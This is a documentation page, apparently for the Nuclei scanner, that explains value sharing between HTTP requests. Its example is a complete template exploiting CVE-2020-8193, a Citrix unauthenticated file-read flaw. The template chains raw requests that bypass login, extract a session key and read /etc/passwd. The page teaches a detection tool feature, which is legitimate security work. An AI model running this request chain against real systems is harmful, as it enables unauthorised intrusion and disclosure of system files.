> ## Documentation Index
> Fetch the complete documentation index at: https://docs.projectdiscovery.io/llms.txt
> Use this file to discover all available pages before exploring further.

# Value Sharing

> Learn about sharing values between HTTP requests in the HTTP template.

## HTTP Value Sharing

In Nuclei, It is possible to extract value from one HTTP request and share/reuse it in another HTTP request. This has various use-cases like login, CSRF tokens and other complex.

This concept of value sharing is possible using [Dynamic Extractors](/templates/reference/extractors#dynamic-extractor). Here's a simple example demonstrating value sharing between HTTP requests.

This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.

```yaml theme={null}
id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high
  reference: https://github.com/jas502n/CVE-2020-8193

http:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <clipermission></clipermission>

    extractors:
      - type: regex
        name: randkey # Variable name
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
```